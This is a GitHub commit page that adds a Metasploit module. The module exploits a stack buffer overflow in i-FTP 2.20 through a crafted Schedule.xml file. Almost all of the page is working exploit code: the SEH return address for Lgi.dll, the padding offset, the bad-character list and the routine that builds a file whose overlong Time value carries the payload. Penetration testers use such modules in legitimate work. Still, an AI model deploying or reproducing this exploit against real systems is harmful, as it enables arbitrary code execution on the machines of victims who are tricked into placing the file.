Skip to content

Commit 48919ea

Browse files
committed
Land rapid7#4444 - i-FTP BoF
2 parents 4fd4d51 + 0b85a81 commit 48919ea

File tree

1 file changed

+95
-0
lines changed

1 file changed

+95
-0
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = NormalRanking
11+
12+
include Msf::Exploit::FILEFORMAT
13+
include Msf::Exploit::Remote::Seh
14+
include REXML
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'i-FTP Schedule Buffer Overflow',
19+
'Description' => %q{
20+
This module exploits a stack-based buffer overflow vulnerability in
21+
i-Ftp v2.20, caused by a long time value set for scheduled download.
22+
By persuading the victim to place a specially-crafted Schedule.xml file
23+
in the i-FTP folder, a remote attacker could execute arbitrary code on
24+
the system or cause the application to crash. This module has been
25+
tested successfully on Windows XP SP3.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'metacom', # Vulnerability discovery and PoC
31+
'Gabor Seljan' # Metasploit module
32+
],
33+
'References' =>
34+
[
35+
[ 'EDB', '35177' ],
36+
[ 'OSVDB', '114279' ],
37+
],
38+
'DefaultOptions' =>
39+
{
40+
'ExitFunction' => 'process'
41+
},
42+
'Platform' => 'win',
43+
'Payload' =>
44+
{
45+
'BadChars' => "\x00\x0a\x0d\x20\x22",
46+
'Space' => 2000
47+
},
48+
'Targets' =>
49+
[
50+
[ 'Windows XP SP3',
51+
{
52+
'Offset' => 600,
53+
'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll]
54+
}
55+
]
56+
],
57+
'Privileged' => false,
58+
'DisclosureDate' => 'Nov 06 2014',
59+
'DefaultTarget' => 0))
60+
61+
register_options(
62+
[
63+
OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
64+
],
65+
self.class)
66+
67+
end
68+
69+
def exploit
70+
71+
evil = rand_text_alpha(target['Offset'])
72+
evil << generate_seh_payload(target.ret)
73+
evil << rand_text_alpha(20000)
74+
75+
xml = Document.new
76+
xml << XMLDecl.new('1.0', 'UTF-8')
77+
xml.add_element('Schedule', {})
78+
xml.elements[1].add_element(
79+
'Event',
80+
{
81+
'Url' => '',
82+
'Time' => 'EVIL',
83+
'Folder' => ''
84+
})
85+
86+
sploit = ''
87+
xml.write(sploit, 2)
88+
sploit = sploit.gsub(/EVIL/, evil)
89+
90+
# Create the file
91+
print_status("Creating '#{datastore['FILENAME']}' file ...")
92+
file_create(sploit)
93+
94+
end
95+
end

0 commit comments

Comments
 (0)